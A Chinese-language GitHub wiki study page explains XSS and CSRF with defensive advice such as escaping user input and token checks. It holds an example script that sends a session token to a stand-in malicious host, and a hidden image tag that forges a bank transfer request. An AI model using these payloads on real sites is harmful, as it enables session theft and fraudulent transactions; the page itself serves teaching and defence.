关于xss与csrf - littleboy12580/learning_python GitHub Wiki

XSS攻击

XSS(Cross-Site Scripting)跨站脚本攻击;XSS攻击的原理是对于一个单页面应用每个运行在相同域的脚本都有访问其会话仓库的权限,因此攻击者可以构造恶意脚本来攻击应用;例如下面这段脚本:

<script>
var token = window.sessionStorage.getItem('token');
var img=document.createElement("img");
img.setAttribute('src', 'http://my.malicious.website/?stolenToken=' + token);
document.body.appendChild(img);
</script>

如果应用直接将这段脚本转为HTML,那么攻击者就能获得到所有用户的token信息,这就是跨站脚本攻击;
为了防范XSS攻击,应该极力避免直接将用户输入转为HTML,应该对用户输入进行转义,例如将“<” 转成“&lt”,将“>”转成“&gt”等;

CSRF攻击

CSRF(Cross-Site Request Forgery)跨站请求伪造攻击;CSRF攻击的原理是绝大多数网站是通过 cookie 等方式辨识用户身份,用户的认证信息都是存在cookie里的,而一旦用户在某个拥有证书的网站已经认证过了,那么在cookie的生存期内,用户向该网站地址发出的所有请求都会包含会话cookie;因此攻击者可以通过仿造用户请求来进行攻击;例如下面这段代码:

<img src="https://api.bobank.com/transfer?amout=10000&to=34523454561" style="width:0;height:0" />

这段代码被放置在了一个受感染的网站,如果用户在认证过了api.bobank.com后访问了这个网站,那么这个恶意请求就会通过认证,攻击成功;
请求可以从任何一方发起,而发起请求的方式多种多样,可以通过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(总是个大隐患)。由于几乎没有彻底杜绝 CSRF 的方式,我们一般的做法,是以各种方式提高攻击的门槛;

  1. 改良站内 API 的设计,可以使用REST风格的 API 设计
  2. 使用token验证,在每个HTTP请求里附加token信息来判断请求是否已被授权
⚠️ **GitHub.com Fallback** ⚠️